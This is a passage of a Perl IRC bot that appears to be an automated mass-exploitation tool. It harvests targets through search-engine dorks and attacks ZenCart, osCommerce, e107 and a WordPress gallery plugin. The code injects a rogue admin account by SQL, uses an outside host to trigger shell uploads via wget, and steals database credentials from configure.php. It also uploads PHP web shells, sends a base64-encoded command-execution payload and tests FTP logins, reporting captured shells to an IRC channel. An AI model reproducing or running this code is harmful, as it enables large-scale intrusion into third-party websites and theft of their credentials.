  521.                             &msg("$path","9,1[4!9]Injector 4<9=4>15 Lost!!! ");
  522.                             }
  523.                         }
  524.                     }
  525.                 }
  526.                if ($msg =~ /^$zencmd\s+(.*)/) {
  527.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  528.                         my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  529.                         my $simpan = 'situs.txt';
  530.                         &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan ZenCart di 12$path ");
  531.                         &msg("$path","$zenlogo9Dork 4<9=4>15 $dork ");
  532.                         &msg("$path","$zenlogo9Search Engine 4<9=4>15 Loading ");
  533.                         &se_start($path,$bug,$simpan,$dork,$engine,10);
  534.                         }
  535.                     }
  536.                 }
  537.                 if ($msg =~ /^$rfgcmd\s+(.*)/) {
  538.                     if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  539.                         my ($bug,$dork) = ("apalah",$1);
  540.                         my $simpan = 'situs.txt';
  541.                         &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFG di 12$path ");
  542.                         &msg("$path","$rfglogo9Dork 4<9=4>15 $dork ");
  543.                         &msg("$path","$rfglogo9Search Engine 4<9=4>15 Loading ");
  544.                         &se_start($path,$bug,$simpan,$dork,$engine,11);
  545.                     }
  546.                     }
  547.                 }
  548.                 if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  549.                 my $url = $_[0];
  550.                 my $host = $_[1];
  551.                 my $user = $_[2];
  552.                 my $pass = $_[3];
  553.                     if (my $pid = fork) {
  554.                         waitpid($pid, 0);
  555.                     } else {
  556.                         if (fork) { exit; } else {
  557.                 my ($host,$user,$pass) = ($1,$2,$3);
  558.                     &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  559.                     my $success = 1;
  560.                     use Net::FTP;
  561.                     my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  562.                     $success = 0 if $ftp->login($user,$pass);
  563.                     $ftp->quit;
  564.                     if ($success == 0) {
  565.                         &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  566.                         } else {
  567.                         &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  568.  
  569.                     }
  570.                 }
  571.             }
  572.         }
  573.     }
  574. }
  575.        for(my $c=0; $c<= $#lines; $c++) {
  576.            $line = $lines[$c];
  577.            $line = $line_temp.$line if ($line_temp);
  578.            $line_temp = '';
  579.            $line =~ s/\r$//;
  580.            unless ($c == $#lines) {
  581.  
  582.                parse("$line");
  583.            } else {
  584.                if ($#lines == 0) {
  585.                    parse("$line");
  586.                } elsif ($lines[$c] =~ /\r$/) {
  587.                    parse("$line");
  588.                } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  589.                    parse("$line");
  590.                } else {
  591.                    $line_temp = $line;
  592.                }
  593.            }
  594.        }
  595.    }
  596. }
  597.  
  598. ##################################################################################
  599.  
  600. sub type() {
  601. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  602.     if ($type == 1){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);}
  603.     elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$simpan,$dork,$engine);}
  604.     elsif ($type == 3){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  605.     elsif ($type == 4){$type=&zero_exploit($chan,$bug,$simpan,$dork,$engine);}
  606.     elsif ($type == 5){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  607.     elsif ($type == 6){$type=&xml_exploit($chan,$bug,$simpan,$dork,$engine);}
  608.     elsif ($type == 7){$type=&e107_exploit($chan,$bug,$simpan,$dork,$engine);}
  609.     elsif ($type == 8){$type=&ih_exploit($chan,$bug,$simpan,$dork,$engine);}
  610.     elsif ($type == 9){$type=&osco_exploit($chan,$bug,$simpan,$dork,$engine);}
  611.     elsif ($type == 10){$type=&zen_exploit($chan,$bug,$simpan,$dork,$engine);}
  612.     elsif ($type == 11){$type=&rfg_exploit($chan,$bug,$simpan,$dork,$engine);}
  613. }
  614.  
  615. ##################################################################################
  616.  
  617. sub se_start() {
  618. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  619.     if ($gps ==1) {
  620.     if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAE",$type); } exit; } }
  621.     if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAR",$type); } exit; } }
  622.     if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAT",$type); } exit; } }
  623.     if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAU",$type); } exit; } }
  624.     if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBR",$type); } exit; } }
  625.     if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCA",$type); } exit; } }
  626.     if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCL",$type); } exit; } }
  627.     if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCN",$type); } exit; } }
  628.     if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } }
  629.     if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } }
  630.     if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDE",$type); } exit; } }
  631.     if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDK",$type); } exit; } }
  632.     if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKES",$type); } exit; } }
  633.     if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKEU",$type); } exit; } }
  634.     if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKFR",$type); } exit; } }
  635.     if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKHU",$type); } exit; } }
  636.     if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKID",$type); } exit; } }
  637.     if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIL",$type); } exit; } }
  638.     if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIN",$type); } exit; } }
  639.     if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } }
  640.     if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIR",$type); } exit; } }
  641.     if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIT",$type); } exit; } }
  642.     if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKJP",$type); } exit; } }
  643.     if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKKR",$type); } exit; } }
  644.     if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMX",$type); } exit; } }
  645.     if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMY",$type); } exit; } }
  646.     if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } }
  647.     if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNL",$type); } exit; } }
  648.     if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } }
  649.     if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPH",$type); } exit; } }
  650.     if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPL",$type); } exit; } }
  651.     if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRO",$type); } exit; } }
  652.     if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRU",$type); } exit; } }
  653.     if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKTH",$type); } exit; } }
  654.     if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUA",$type); } exit; } }
  655.     if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUK",$type); } exit; } }
  656.     if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUS",$type); } exit; } }
  657.     if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKSI",$type); } exit; } }
  658.     if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBE",$type); } exit; } }
  659.     if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } }
  660.     }
  661.     if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
  662.     if ($gps2 ==1) {
  663.     if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } }
  664.     if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
  665.     if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
  666.     if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }
  667.     if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } }
  668.     if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } }
  669.     if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
  670.     if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
  671.     if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
  672.     if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } }
  673.     if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
  674.     if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
  675.     if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
  676.     }
  677. }
  678.  
  679.  
  680. ###### EXPLOITING #######
  681. sub rfg_exploit() {
  682.     my $chan = $_[0];
  683.     my $bugz = $_[1];
  684.     my $simpan = $_[2];
  685.     my $dork = $_[3];
  686.     my $engine = $_[4];
  687.     my $count = 0;
  688.     my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$rfglogo);
  689.     my $num = scalar(@totexploit);
  690.     if ($num > 0){
  691.         foreach my $site(@totexploit){
  692.         $count++;
  693.         if ($count == $num-1) { &msg("$chan","$rfglogo15$engine 9Finished 15for 9$dork "); }
  694.             my $test  = "http://garguritos.com/rfg.php?url=http://".$site;
  695.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  696.                 my $html  = &get_content($test);
  697.                 my $vpath = "wp-content/plugins/radykal-fancy-gallery/admin/";
  698.                 if ($html =~ /<a href=\"http:\/\/(.*)$vpath(.*)\">Your shell/){
  699.                     my $vuln = $1; my $qr = $2;
  700.                     my $upl = "http://".$vuln.$vpath.$qr."wget%20".$thumbshell;
  701.                     my $crut = &get_content($upl);
  702.                     if ($crut =~ /3xploit/) {
  703.                     my $shell = "http://".$vuln.$vpath."bad.php";
  704.                     my $check = &get_content($shell);
  705.                     if ($check =~ /STUNSHELL/i){
  706.                         my $safe = ""; my $os = ""; my $uid = "";
  707.                         if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  708.                         if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  709.                         if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  710.                         &msg("$admin","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  711.                         &msg("$chan","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  712.                     } else {
  713.                         &msg("$chan","$rfglogo15$engine 9<4=9>9 VulN 9<4=9>9 http://".$vuln.$vpath.$qr."15 ");
  714.                     }
  715.                     }
  716.                 }
  717.             } exit; }
  718.         }
  719.     }
  720. }
  721.  
  722. sub zen_exploit() {
  723.     my $chan = $_[0];
  724.     my $bug = $_[1];
  725.     my $simpan = $_[2];
  726.     my $dork = $_[3];
  727.     my $engine = $_[4];
  728.     my $count = 0;
  729.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  730.     my $num = scalar(@totexploit);
  731.     if ($num > 0){
  732.         foreach my $site(@totexploit){
  733.         $count++;
  734.         if ($count == $num-1) { &msg("$chan","$zenlogo15$engine 9Finished 15for 9$dork "); }
  735.             my $test  = "http://".$site.$bug;
  736.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  737.                 my $html  = &get_content($test);
  738.                 if ($html =~ /zc_install/){
  739.                     &zen_query($chan,$site,$test,$engine);
  740.                 }
  741.             } exit; }
  742.         }
  743.     }
  744. }
  745.  
  746. sub zen_query() {
  747.     my $chan = $_[0];
  748.     my $url = $_[1];
  749.     my $test = $_[2];
  750.     my $engine = $_[3];
  751.     my $code  = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
  752.     my $req = HTTP::Request->new(POST => $test);
  753.     $req->content_type("application/x-www-form-urlencoded");
  754.     $req->content("query_string=".$code);
  755.     my $ua = LWP::UserAgent->new(agent => $uagent);
  756.     $ua->timeout(3);
  757.     my $res = $ua->request($req);
  758.     my $data = $res->as_string;
  759.     if ( $data =~ /1 statements processed/i ) {
  760.         &msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  761.         &msg("$admin","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  762.     }
  763.     elsif ( $data =~ /Duplicate entry/i ) {
  764.         &msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
  765.         &msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
  766.     }
  767. }
  768.  
  769. sub osco_exploit() {
  770.     my $chan = $_[0];
  771.     my $bug = $_[1];
  772.     my $simpan = $_[2];
  773.     my $dork = $_[3];
  774.     my $engine = $_[4];
  775.     my $count = 0;
  776.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  777.     my $num = scalar(@totexploit);
  778.     if ($num > 0){
  779.         foreach my $site(@totexploit){
  780.         $count++;
  781.         if ($count == $num-1) { &msg("$chan","$oscologo15$engine 9Finished 15for 9$dork "); }
  782.             my $cat = "http://".$site."admin/categories.php/login.php";
  783.             my $fm = "http://".$site."admin/file_manager.php/login.php";
  784.             my $bm = "http://".$site."admin/banner_manager.php/login.php";
  785.             my $shell = "http://".$site."images/lobex.php";
  786.             my $dumper = "http://".$site."images/lobexdb.php";
  787.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  788.                 my $coba = &get_content($cat);sleep(1);
  789.                 my $cob2 = &get_content($fm);sleep(1);
  790.                 my $cob3 = &get_content($bm);sleep(1);
  791.                 if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
  792.                     my $test = $cat."?action=download&filename=/includes/configure.php";
  793.                     my $cek = &get_content($test);
  794.                     if ($cek =~ /http:\/\//) {
  795.                         &osql_xpl($test,$chan,$site,$engine);
  796.                     }
  797.                     my $aplod = LWP::UserAgent->new;
  798.                     my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
  799.                     my $resa = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa->as_string;
  800.                     my $cekap = &get_content($shell);
  801.                     if ($cekap =~ /UnKnown - Simple Shell/) {
  802.                         my $safe = ""; my $os = ""; my $uid = "";
  803.                         if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  804.                         if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  805.                         if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  806.                         &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  807.                         &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  808.                         &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
  809.                     }
  810.                 }
  811.                 if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {
  812.                     my $test2 = $fm."?action=download&filename=/includes/configure.php";
  813.                     my $cek2 = &get_content($test2);
  814.                     if ($cek2 =~ /http:\/\//) {
  815.                         &osql_xpl($test2,$chan,$site,$engine);
  816.                     }
  817.                     my $aplod2 = LWP::UserAgent->new;
  818.                     my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string;
  819.                     my $resb = $aplod2->post($fm."?action=processuploads",['file_1' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resb->as_string;
  820.                     my $cekap = &get_content($shell);
  821.                     if ($cekap =~ /UnKnown - Simple Shell/) {
  822.                         my $safe = ""; my $os = ""; my $uid = "";
  823.                         if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  824.                         if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  825.                         if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  826.                         &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  827.                         &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  828.                         &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
  829.                     }
  830.                 }
  831.                 if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {
  832.                     my $test3 = $bm."?action=download&filename=/includes/configure.php";
  833.                     my $cek3 = &get_content($test3);
  834.                     if ($cek3 =~ /http:\/\//) {
  835.                         &osql_xpl($test3,$chan,$site,$engine);
  836.                     }
  837.                     my $aplod3 = LWP::UserAgent->new;
  838.                     my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string;
  839.                     my $resc = $aplod3->post($bm."?action=insert",['banners_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resc->as_string;
  840.                     my $cekap = &get_content($shell);
  841.                     if ($cekap =~ /UnKnown - Simple Shell/) {
  842.                         my $safe = ""; my $os = ""; my $uid = "";
  843.                         if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  844.                         if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  845.                         if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  846.                         &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  847.                         &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  848.                         &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
  849.                     }
  850.                 }
  851.                 } exit;
  852.             }
  853.         }
  854.     }
  855. }
  856.  
  857. sub osql_xpl() {
  858.     my $url    = $_[0];
  859.     my $chan   = $_[1];
  860.     my $site   = $_[2];
  861.     my $engine = $_[3];
  862.     my $request = HTTP::Request->new(GET=>$url);
  863.     my $browser = LWP::UserAgent->new();
  864.     $browser->timeout(10);
  865.     my $response = $browser->request($request);
  866.     my @dbsinfo;
  867.     if ($response->is_success) {
  868.         my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = "";
  869.         my $res = $response->as_string;
  870.         if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
  871.             $dpath = $1;
  872.             &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DIR path: 4 $dpath");
  873.         }
  874.         if ($res =~ m/'DB_SERVER', '(.*)'/g) {
  875.             $dbserver = $1;
  876.             &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB Server: 4 $dbserver");
  877.         }
  878.         if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
  879.             $dbuser = $1;
  880.             &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB username: 4 $dbuser");
  881.         }
  882.         if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
  883.             $dbpass = $1;
  884.             &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB password: 4 $dbpass");
  885.         }
  886.         if ($res =~ m/'DB_DATABASE', '(.*)'/g) {
  887.             $dbname = $1;
  888.             &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB database: 4 $dbname");
  889.         }
  890.         my $hosts = "http://".$site;
  891.         if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  892.             $host = $2;
  893.             &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1);
  894.             if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; }
  895.             &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1);
  896.         }
  897.     }
  898. }
  899.  
  900. sub e107_exploit() {
  901.     my $chan = $_[0];
  902.     my $bug = $_[1];
  903.     my $simpan = $_[2];
  904.     my $dork = $_[3];
  905.     my $engine = $_[4];
  906.     my $count = 0;
  907.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo);
  908.     my $num = scalar(@totexploit);
  909.     if ($num > 0){
  910.         foreach my $site(@totexploit){
  911.         $count++;
  912.         if ($count == $num-1) { &msg("$chan","$e107logo15$engine 9Finished 15for 9$dork "); }
  913.             my $test = "http://".$site.$bug;
  914.             my $shellz = "http://".$site."/images/lobex.php";
  915.             my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  916.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  917.             my $html = &e107_rce_query($test,$code);
  918.             if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
  919.                 my $sys = $1;
  920.                 my $upload = "";
  921.                 my $res = &e107_rce_query($test);
  922.                 if ($res =~ /lobexxx/) {
  923.                     my $check = &get_content($shellz);
  924.                     if ($check =~ /GIF89a/) {
  925.                         &msg("$chan","$e107logo15$engine 9<4=9>9 SheLL 9<4=9>9 $shellz ");sleep(2);
  926.                     }
